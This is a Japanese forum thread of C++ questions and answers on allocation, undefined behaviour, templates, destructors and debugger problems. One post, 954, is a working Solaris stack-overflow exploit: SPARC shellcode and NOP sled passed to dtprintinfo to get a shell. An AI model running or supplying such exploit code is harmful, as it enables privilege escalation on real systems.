スタックの確保に失敗した場合は、プログラムを安全に終了できないということは、
std::bad_alloc の保険がある new に切り替えたほうが無難みたいですね。
実際は、ひとつのクラスでスタックを大量に消費するんじゃなくて、
いろんなクラスで少しずつ食いつぶしていきそうだったので、
ちょっと不安になって質問させてもらいました。
レスありがとうございました。
Big() : p( NULL ) { p = new int[50*1024*1024]; } ↓ Big() : p(new int[50*1024*1024]) {} のほうがいいよ。
>>849 よくない。
非constな値だから初期化リストに含めないと逝けない理由もないし、
初期化リスト中での例外を捕まえられない処理系がある
VCとかVCとかVCとか。
初期化リストの中の例外を捕まえる・・・たしか、こんなんだっけ? Big() try :p(new int[50*1024*1024]) { } catch(...) { } 対応してる処理系ってあるっけ?gcc対応してた?
正解は class Big { std::vector<int> vector; public: Big() : vector(50*1024*1024) {} }; かと。
855 :
デフォルトの名無しさん :02/06/17 22:03
operator<<(operator<<(cout,fff()),ggg()); 関数の引数の評価順序は不定の動作 未定義の動作:正しくないプログラム 不定の動作:正しいが再現性はない 処理系依存:正しく再現性もあるが、処理系により異なる
>>855 「正しい / 正しくない」の評価基準が分からんな。文法的に正しい/正しくない
という話なら
i++ + i++
だって正しいし。ANSI C++ の規格書では、「不定の動作」に対応する語は何で
すか?
(値が不定という使い方はよく見るけど、不定の動作ってのは初めて見た気が)
>>851 こんな構文あったんだ……。知らんかったよ。
でも、どうゆう状況で使うの?
>>857 catch 節の後ろに何も無いから、例外の型が変換できるくらいかなぁ。
catchで適切に処理しても、オブジェクトは生成されないんだよな。 retry構文が欲しい
cout << "age!";
ヽ(`Д´)ノ
( ´,_ゝ`)
>856 ANSI C/C++ 辞典より 未定義の動作 : undefined behavior 不定の動作 : unspecified behavior 処理系定義の動作 : implementation-defined behavior 未定義の動作は正常なプログラムでは起きない i++ + i++; はたぶん不定の動作なので正常なプログラム 整数演算のオーバーフローは未定義の動作なので 正常でないプログラム
正常の定義は?
式の中で一つの変数に対して2回以上副作用が起こるのは 未定義じゃなかったっけ。
式じゃなくて副作用完了点までだったかな。
wclog << "age ヽ(`Д´)ノ";
wclog << L"age"; じゃないのか?
>>863 そいつは不定じゃなくて未定義
何故かは知らん
>>870 ANSI/ISOでは、本来は不定の動作のものをいくつか未定義と
したのでは?それだけ厳しくなったという事ですね。
>>863 C99 の規格書には、次のように用語定義がなされている。
3.4.1
1 implementation-defined behavior
unspecified behavior where each implementation documents how the choice is made
3.4.3
1. undefined behavior
behavior, upon use of a nonportable or erroneous program construct or of erroneous data,
for which this International Standard imposes no requirements
3.4.4
1. unspecified behavior
behavior where this International Standard provides two or more possibilities and
imposes no further requirements on which is chosen in any instance
>>855 の「正しい」というのは、規格書で規定があるっつー意味かね。規定がないこと
に関しては何とも言えんから、結果も分からん、いきなりプログラムが異常終了する
かもしれないし鼻から悪魔が出てくるかも、ということで。
不定の動作は、規定はあるが複数の可能性を残してあるので、やっぱり結果は一意
に決まらないという意味か。ただし、いきなりプログラムが死んだりはしない。
コンパイラ屋さんにとっては「未定義」「不定の動作」の区別をする意味はあるけど、
ユーザからはどちらも絶対に避けるべきモノということで、厳密に区別して考えなく
とも良い気がする。処理系依存は割り切って使うなら OK だから、これは区別しな
いとマズい。
C/C++の条件分岐プリプロセッサの文法は #if constant-expression new-line group とあったのだけれども定数式ということは つまり、そういうことだよね?
874 :
デフォルトの名無しさん :02/06/19 16:45
age忘れ
#define VALUE 15 #if VALUE > 10 cout<<"Anything"<<endl; #endif 昔、#ifの条件部は通常の演算子が置けないとか 書いてあったけど文法的にこれはOKでしょ? コンパイラ通ったし
876 :
デフォルトの名無しさん :02/06/19 17:42
すんません、レベル低い質問です。 ハードよりの領域でアセンブラとC言語を十数年やってきた オヤジがC++を勉強するということ(つまり自分)を考えた 場合、お勧めの本あるでしょうか?
877 :
デフォルトの名無しさん :02/06/19 17:46
>>876 とりあえずバイブルかな…
あとEffectiveC++
それを読んだら、オブジェクト指向関連の本に進めばいいかな。
878 :
デフォルトの名無しさん :02/06/19 17:50
圧縮やバイナリ>テキストのエンコードを行うクラスのインターフェイスって みんなどんな感じにしてますか? 1.Encode/Decodeメソッドを持つクラスを作り、状態をラップする。 1-1.結果は逐次利用者が指定したバッファに書き込む 1-2.結果は、内部でバッファを構築し、フラッシュ時に受け取る 3 iostreamクラスのproxyにする 4 algorithmにして、イテレータベースでいじくり回す 5 その他 1-1の形式を取るライブラリが多いけど、なんかダサイ 1-2 使用方法が簡潔になるけど、巨大ファイルのエンコードをするときにメモリを莫大に消費する 3 実装が面倒、オブジェクトが大きくなる 4 基本的にCと代わり映えがしない。そもそも、void*やunsigned char*以外を受け取る意味がない。 5 全く想像がつかない と言うことで、どれを採用したらいいのか迷ってます。 アドバイスお願いします。
入力バイト数から出力バイト数が特定できないだとか データがブロックとして入力/出力されるとか、ブロックサイズが不定だとか いろいろな条件をうまく処理するのは面倒だねえ。 文字コード変換(例:iconv)や、audio/videoのコーデック(例:ACM)、 圧縮/変換ライブラリ(zlib,lha,etc)など、 参考になるものが沢山あるので一つずつ当たってみては。
>>876 Cをマスターされてるんなら、Accelerated C++がお勧め。
C++の超便利ライブラリ『STL』を、ほぼCの文法だけで
使ってあるのが特徴。クラスやオブジェクト志向は後回しにして、
まずC++の便利さから入ってるから、Cマスターな方がC++に
入っていくのにぴったりだと思う。
>>877 の『バイブル』ってのは、プログラミング言語C++ 第3版の
ことね。
Effective C++ は、C++をちょっとわかりかけてきたころに読む本。
ム板でC++について何か会話をしたかったら、その前に絶対に
読んどけよってぐらいの必読書。
s/オブジェクト志向/オブジェクト指向/
>>880 VC++を見て詐欺にあったような形相で抗議して来るに++
883 :
名無しさん :02/06/19 20:00
VC++でSTLとか使うと出てくるデバッガの255文字制限 #pragma warning(disable : 4786)で消せるけど デバッグできなくて鬱 helpの例みたいに#defineでいろいろ短く定義したけど コンパイルとーらねー なんかいい方法ない?
ほんとにSTLの中までデバッグする必要があるのか? 普通はSTLは無条件に信頼して進む物だと思うが。 どうしてもおかしい場合のみ中に進む、と。
>>884 たとえ STL の実装にバグが無くとも
コンテナに無効なポインタが入っていて、それを algorithm 経由で参照して
プログラムが異常終了した
とかだと、STL の実装まで下りていってチェックしたくなると思うよ。
886 :
名無しさん :02/06/19 21:26
いや、stlの仲まで追わなくても vcハングしちゃうでしょ、ステップ実行してると xpだと頻繁にハングるんでもー鬱で鬱で
STLのせいでフリーズするわけじゃないと思うが。
>>876 柴田望洋 著「新装版 CプログラマのためのC++入門」タイトルどおりの本です。
この本は実際にC->C++移行を果たすきっかけになりました。読みやすく、分かり
やすい本だと思います。リファレンス本等はこれを読んでからで良いと思いますよ。
CからC++への移行は、構文とかよりも、「手続き型プログラミング」から
「オブジェクト指向」への発想の転換が重要だし、難しいところと思いました。
がんばって移行してください。
>CからC++への移行は、構文とかよりも、「手続き型プログラミング」から >「オブジェクト指向」への発想の転換が重要 禿同。
オブジェクト指向も手続き型がほとんどなんですがぁ~?
>>889 そんな君らにはJavaの謎+落とし穴
をお勧めする。
C --> C++移行の際に重要なポイントは何でしょうか。
関数を使うには必ず宣言が必要
>>892 888にも書いてあるように、発想の転換が重要と思われます。
C++では、クラスという新しい概念が出てきます。これにいかに慣れるかが
まずは重要と思います。ほかにも新しい概念が出てきますが、この辺は
実際に作って慣れる(クラスを設計し、実装してみる)、という繰り返しに
なるかと思います。
個人的に苦労したのは、Cを使用していたときの癖を絶つことです。C++はCの
拡張版という側面もあり、C的な使い方も可能なので、慣れ親しんだ方法で
プログラムを書きがちでした。具体的には、クラスのメンバ関数として実装
すべきものをグローバルな(Cで言う普通の)関数で書いたりとかです。
クラスのメンバ関数って、今は何のことか分からないかもしれませんが、勉強
するとすぐに出てくると思います。
>>885 STLportに_STL_DEBUGだかなんだかそんな感じのマクロをつけて使ってみるといいよ。
すでにやっててそれでも仲間で追いたいというならとめはしないが。
質問です。 たとえば自作のクラスcstringでコンストラクタで cstring(int n)とやってnバイトのバッファを確保させるとします。 これを cstring *pstr = new cstring(10); の様に使えますか?つまりこの場合コンストラクタの返り値の型が合うかどうか何ですが。
いやちょっと気になったもんですから・・ コンストラクタって何を返すんだろう‥‥
>>898 コンストラクタでなくて、newの返り値ね。
>>896 コンストラクタに返り値はないですから。new はメモリに cstring を
確保したあとコンストラクタを実行して、最後に cstring へのポインタを
返します。
ありがとうございます。素人なもんで混乱してました。
>>886 VC6 のデバッガ on Windows XP は、まともに動かんでしょ。Windows 2000
なら良いんだが、ねぇ。
>>895 それだと無効な iterator はチェックできるけど、無効なポインタはチェックで
きんよ。
>>902 > VC6 のデバッガ on Windows XP は、まともに動かんでしょ。
MAJIDE?
常識。 .NET買わせるため。
ウチではちゃんと動いてますが・・・
(´-`).。oO(WinXPなんて買いません。常識です)
907 :
デフォルトの名無しさん :02/06/20 03:01
自作のcpositionクラスの大小比較の関数ってこのクラスのメンバにすべきですか? たとえば bool cposition :: islittle(cposition *pos1, cposition *pos2) { return (pos1->n < pos2->n); } とやって cposition a,b; if(a.islittle(&a, &b))… ってやったらかなり変ですか? それとも if(cposition::islittle(&a, &b))… でしょうか?
operator<()
早速レスありがとうございます。 この場合って<、>、<=、>=、==と別々に実装するんですか? 多分そうだとは思いますが。。。
>>909 もちろん別々。
但し、"<" ==" !>="、">" == "!<=", "==" == "!<" && "!>"として
簡略化可能。
ありがとうございます。早速やってみます。
プログラミングした事無いんですが やはり勉強するならC++よりも先にCでしょうか?
仕事等で必要とかいうんでなければ、Javaからはじめるのがいいと思う つかスレ違いかもよ
>>913 ありがとうございます
特に仕事等で使うわけではありませんので
Javaをやってみます
>>912 Javaもいいけど、C++に直接入った方が遠回りしなくて済むよ。
CのDirtyなテクニックを覚える前にC++やった方が、悩まなくて済むし。
2項関数の型特定をしたいのですが、エラーが出てしまいます。 何とかコンパイルを通らせる方法はないものでしょうか。 template <class T> struct MyAverage : public binary_function<T, T, T> { T operator()(T x1, T x2); }; template <class T> T MyAverage<T>::operator()(T x1, T x2) { return (x1 + x2) / 2; } char MyAverage<char>::operator()(char x1, char x2) { cout << "この用法はサポートされていません。" << endl; return 0x0; }
template<> MyAverage<char>::operator()…
>>917 ありがとうございますぅ!バッチリでした!
IME2002なら言語バーを無効にするか 他社IMEに乗り換えると改善した気がする < WinXPでのデバッガフリーズ問題
921 :
デフォルトの名無しさん :02/06/20 14:02
>>920 言語バー無効にしようが
タスクバーから出そうが
アンチウィルス消そうが使い物になりません。
IMEタスクバー&トレイからだせば
3割の環境で起動します。
うちの環境のXPでは。
他社のIME使えば改善する、
初めて聞きました。
ATOKでも使って試してみます。
情報サンクス。
ageちゃった。。 ごめん。
ATOKなんか使う奴は(省略)
>>924 スマソ、間違い、IMEなんかって書いてある気になってた。
漏れ、ATOK使ってないよ。IME2000だよ。
だから許してたもれ。
876です。みなさんどうもありがとうございます。 VC++では簡単なアプリはすぐ書けるようになったんですが、 なんというか、C++を使ってるという実感に乏しいというか・・・ 頭が切り替わってないというか、問題をオブジェクト指向で 捉えてないからなんでしょうね。 がんばります。
>>925 MS-IME2002
IMEはMSだけの物じゃない。
>>921 言い忘れてました。
うちの環境ではVC6.0では
OSはXPでも2000でもデバッガフリーズします。
.NETは2000で試してませんが。
タスクバーからMS-IMEを出すと
90%のフリーズ率が30%になります(だいたい
で報告なんですが↑で聞いたとおり
ATOK15導入してみたら今のところ
100%デバッガ普通に動きます(XP&.NET)
1年間デバッグはMessageBoxを使ってやってきたので
感激です。さすがに疲れました。
情報サンクス!やっとデバッグがまともにできるっ!!
長文失礼。
929 :
デフォルトの名無しさん :02/06/21 12:40
class Parent { AppendChild(Child *); }; class Child { Parent* GetParent(); }; みたいに書きたいのですが、 上の場合だとParentの宣言のときにChildの宣言がないため コンパイル通りません。なんかよい方法ありませんか。 拾ってきたソース真似して class Child; class Parent{ ... }; class Child{ ... }; ってしたんですがコンパイル通らなくて 環境はWinXP + Borland C++ Compiler です。
メソッドの実装をclass定義の中に書いてますか?
>930 いえ、書いてません。 引数宣言と、上の例でのParentのメンバ変数でChildを使ってるだけなんですが
>>932 今、学校の端末室で手元に自分の環境なくってうろ覚えですが
「型名が必要」だったと思います。
AppendChildにvoidつけたらどうよ?
>>934 実際のソースはちゃんと型名つけてます。上のは例ということで…
文法的にはクラスAの宣言でクラスBを使うとき
class B;
class A{...};
class B{...};
というのはアリなんでしょうか?
でAの宣言中ではBのメソッドやらを使ってはだめ、と(当然ですけど)
手元にソース&環境がないので今言われたことをヒントに
家に帰っていろいろいじってみます。
ありがとうございました
親子両方メンバーにpublic:してある?
>>931 >引数宣言と、上の例でのParentのメンバ変数でChildを使ってるだけなんですが
Parentのメンバ変数にChild?それはまずいが、書き間違い?
>>935 普通に通るぞ。
#include <iostream>
using namespace std;
class Child;
class Parent {
public:
void AppendChild(Child *c) { cout << hex << c << endl; }
};
class Child {
public:
Parent* GetParent(Parent &p) { return &p; }
};
int main()
{
Parent p;
Child c;
p.AppendChild(&c);
cout << hex << c.GetParent(p);
}
>937 まだ定義がされてないクラスは直接のメンバにはなれません。 そのクラスのポインタ等だったらできるけど × Child c; ○ Child *c;
レス先間違えた
>938,939 ありがとうございます。参考にいろいろやってみます。
Overload resultion
943 :
デフォルトの名無しさん :02/06/24 21:41
template <typename T> class A{}; template <typename T1,typename T2> class B{}; template <typename T1,typename T2> class B<T1,A<T2>>{}; こんな感じのソースが、GCCのヘッダにあったのですが、 テンプレイトの特殊化なのでしょうか? ふつうなら、 template<>classB<ここに型を書く> 見たいな感じだと思うんですが・・・・・・
>>943 <>は何に使うのでしょう?
てんぷれーとを表すにはtemplateで十分な訳だ。
いや、特殊化なら<>つけるんじゃない?
ISOとかだと、<>で特殊化だと思うんですが・・・・ 特注かだとは思うんですが、こんな書き方見たと着なかったので・・・・
template class B<x,x>これは明示的なインスタンスの生成。 特殊化とは違う。
>>943 これこそ VC++ では使えないといわれている伝説の部分特殊化
マイクロソフトはやる気が無いんですか?
>>950 ほう、ということは次期WindowsはC#で組まれるのかいな?
やめてくれ・・・・
M$まんせー(TーT)
954 :
デフォルトの名無しさん :02/06/24 23:08
#define ADJUST 0 #define OFFSET 1144 #define STARTADR 724 #define BUFSIZE 900 #define NOP 0xa61cc013 static char x[1000]; unsigned long ret_adr; int i; char exploit_code[] = "\x82\x10\x20\x17\x91\xd0\x20\x08" "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff"; unsigned long get_sp(void) { __asm__("mov %sp,%i0 \n"); } main() { putenv("LANG="); for (i = 0; i < ADJUST; i++) x[i]=0x11; for (i = ADJUST; i < 900; i+=4){ x[i+3]=NOP & 0xff; x[i+2]=(NOP >> 8 ) &0xff; x[i+1]=(NOP >> 16 ) &0xff; x[i+0]=(NOP >> 24 ) &0xff; } for (i=0;i<strlen(exploit_code);i++) x[STARTADR+i+ADJUST]=exploit_code[i]; ret_adr=get_sp()-OFFSET; printf("jumping address : %lx\n",ret_adr); if ((ret_adr & 0xff) ==0 ){ ret_adr -=16; printf("New jumping address : %lx\n",ret_adr); } for (i = ADJUST; i < 600 ; i+=4){ x[i+3]=ret_adr & 0xff; x[i+2]=(ret_adr >> 8 ) &0xff; x[i+1]=(ret_adr >> 16 ) &0xff; x[i+0]=(ret_adr >> 24 ) &0xff; } x[BUFSIZE]=0; execl("/usr/dt/bin/dtprintinfo", "dtprintinfo", "-p",x,(char *) 0); }
トローイ
956 :
デフォルトの名無しさん :02/06/25 00:59
mapを使ったプログラムを書こうとしてるんですけど、 メモリ内にあるデータをぜんぶディスクに書き出したり、逆に読み出したり するにはどのようにしたらいいのでしょうか。
>>956 ifstream、ofstream、first()、second()、std::map::iterator、begin()、end()
firstとかsecondとかいらない。 普通にfor_eachとかcopyを使って書き出せる
fwrite
ostream::write(NULL, 0);
>>943 テンプレートの解釈と処理に関しては、まずコンパイル時に
二段階の手順があると考えると分かりやすいです。
1 部分的特殊化された中からのテンプレートクラスの選択
2 テンプレートパラメータを解釈してクラスを生成
そして2の部分ですが、これはtemplate<class T1, class T2>の
ように、クラス内において使用時までそれが決定されない要素を
記述しておいて、実際に型をもらい受けたらクラスを生成します。
テンプレートクラスにおける未定義の要素を記述する"だけ"だと
考えていいと思います。
で、1ですがこれは943さんが書いている通り、
template<>class<決定済みの型>
と書いてある部分的特殊化されたクラスの一覧から最適なものを選ぶ
わけですが、この選択方法の詳細は正直あまりよく分かってません(w
とりあえず、上の例に照らし合わせて何かいうとしたら、
template <typename T1,typename T2> class B{}; ←(a)
template <typename T1,typename T2> class B<T1,A<T2> >{}; ←(b)
(a)はBの実体化集合の全てを意味します。特殊化されない場合は
このテンプレートクラスが選択されるというわけです。
(b)が意味しているのは二つ目のテンプレートパラメータが、
クラス Aというテンプレートパラメータを一つ受け取る型を受けたときに
選択されるということになります。
具体例としては B<int, A<int> > b; こんな時に選択されます。
上の解釈はいい加減なのでつっこみ待ってます: )
×特殊化されない場合 ○特殊化されたテンプレートクラスにマッチしない場合
ModernC++Designの2.2にはもっと分かりやすい説明がありました(ワラ 関数にはテンプレートの部分的特殊化は適応されないのですが、 それをオーバーロードで代用する方法も載っていて面白いです。 是非一読をお薦めします
訂正: 汎用テンプレートはなくてもいいみたいです。 template<int>class A{}; ←(a) tempalte<>class A<3>{}; ←(b) こういうのもありみたいです(^^; template<class T>class A{};という汎用テンプレートは 必要ないし、エラーになります! A<3> a;とすれば(b)が選択されます。 A<3>というケースしか認めないようにしたい場合は (a)を削除するのではなく(そうするとエラーになる)、 template<int>class A; と(a)変更するればいいみたいです。 (ModernC++Design Page:x より) テンプレートパラメータが<class T>のように汎化のときには 具体的な型で特殊化。テンプレートパラメータとして プリミティブ型が指定されているときには、定数値で特殊化。 といった感じでしょうか。 あと紛らわしいのは、 template<template<class>class T>class A{}; という形。 これは汎用テンプレートです。これは特殊化とは関係なく、 テンプレートパラメータとして受取る型を「テンプレートパラメータを一つ 受取るテンプレートクラス」に限定するよう機能します。 <class>とテンプレートパラメータを省略できるのは、 それをクラス内において使用できないことに理由があるみたいです。 引き続きつっこみ待ってます: )
補足: 当然汎用テンプレートを二つ宣言することはできません。 template<class T>class A{}; template<class T1,class T2>class A{}; template<template<class>class T>class A{}; こういうのは当然エラーです。どれか一つしか使えません。 ただしこれはテンプレートパラメータの数が同じでなくてはいけないという 意味ではないようです。部分的特殊化をする部位において、 汎用テンプレートと同じパラメータ数になっていればOKらしいです。 LokiのFunctorImplが参考になります。 汎用テンプレートにおいてパラメータの個数を、 template<class T1, class T2> (この場合は二個)のようにして指定しますが、 部分的特殊化されたクラスにおいては同様の場所は パラメータの数が同じである必要はありません。 ただし一つ重要なことにパラメータは部分的特殊化部位 class A<xxx,yyy> において全て使わなくてはなりません。 あと上でテンプレートパラメータのテンプレートパラメータを使うことは できないと書きましたが、それはある一面においては間違いです。 FunctorImplにおいて、 template <typename R, typename P1, template <class> class ThreadingModel> class FunctorImpl<R, TYPELIST_1(P1), ThreadingModel> となっている部分において、P1をクラス内で使うために取り出しています。 もちろん上のThreadingModelのパラメータは使うことはできません。 引き続きつっこみお待ちしております: )_
967 :
デフォルトの名無しさん :02/06/25 17:39
設計に関する質問です。 コンストラクタでメモリをアロケートする様な場合、 それが失敗した場合は例外をスルーするのが一般的でしょうか? みなさんはどう設計しますか??
スロー
質問するのであります。 デストラクタに関してであります。 なんで、デストラクタは virtual のほうがよいの? 継承後のクラスのデストラクタで、親のデストラクタを呼ぶのじゃだめ???
>>970 そもそも継承後のデストラクタ自体が呼ばれないのでダメ
>>970 virtual宣言されてないと、継承したデストラクタを呼び出してくれないから。
970 の使い方だとたぶん virtual は不要だと思われ。 つか、親デストラクタは勝手に呼ばれます。
>>973 親のデストラクタしか呼ばれないってところに問題があるんじゃないのか。
975 :
デフォルトの名無しさん :02/06/25 18:14
970は多態を知らないので継承したデストラクタも問題なく呼ばれます
継承したオブジェクトからだと問題なく継承先のデストラクタは呼ばれる。 しかし、親のポインタからデストラクタを呼び出した場合、指している先が 継承した子のオブジェクトである場合、virtual宣言されていないと継承先 のデストラクタは呼んでくれない。
>>970 コンストラクタとデストラクタの実行順が問題になる。
コンストラクタは親→子の順で実行される。
コアが最初にできて段々大きくなっていくイメージ。
デストラクタは子から呼ばれる。
段々小さくなっていき最後にはなにもなくなってしまうイメージ。
たまねぎを想像しる。
ところで 950 は次スレよろしく。
終わりで良いよ
>>975 >>976 多態がやっとわかったきがします。
>>977 ということは、親のポインタを delete した場合のために必要ってことでしょうか?
つまり、親クラスとしてA、子クラスとしてB,Cがあるとします。
子クラスを入れた親クラスのポインタを delete することで、B,Cを区別なく delete できるってことですね。
おかげで、わかりました。
ありがとうございます。
1つ賢くなった!
nの階乗を計算するプログラムの書き方が分かりません。 誰か頼みます。m(_ _)m
>>983 C++関係ね~じゃね~かよ
for 使え。
「多態」ってなんて読むの?
>>983 C++らしい階乗の求め方はこうやります。但しnは実行時に
わかってないといけないですが。
#include <iostream>
using namespace std;
template <int N>
class Factorial {
public:
enum {value = N * Factorial<N - 1>::value};
};
class Factorial<1>
{
public:
enum {value = 1};
};
int main()
{
Factorial<10> f;
cout << f.value << endl;
}
assert(983 == 988)
>>988 超ガイシュツだし、今更カコワルイ。
しかも、いちいちインスタンス生成してるのがダサ過ぎる。
さらに整数しか扱えないと言うダメさ。
>>991 整数以外の階乗の計算方法も超ガイシュツなんですか。とっても知りたい。
>>987 と同類か?
整数以外に階乗ってできるのか??? 6.392!とか!?
実数の階乗はあるらしい。
さあ?ぐぐったら「実数の階乗式もあるらしく」って出てきただけ。
1000!
1000!
1000!
1001 :
1001 :
Over 1000 Thread このスレッドは1000を超えました。 もう書けないので、新しいスレッドを立ててくださいです。。。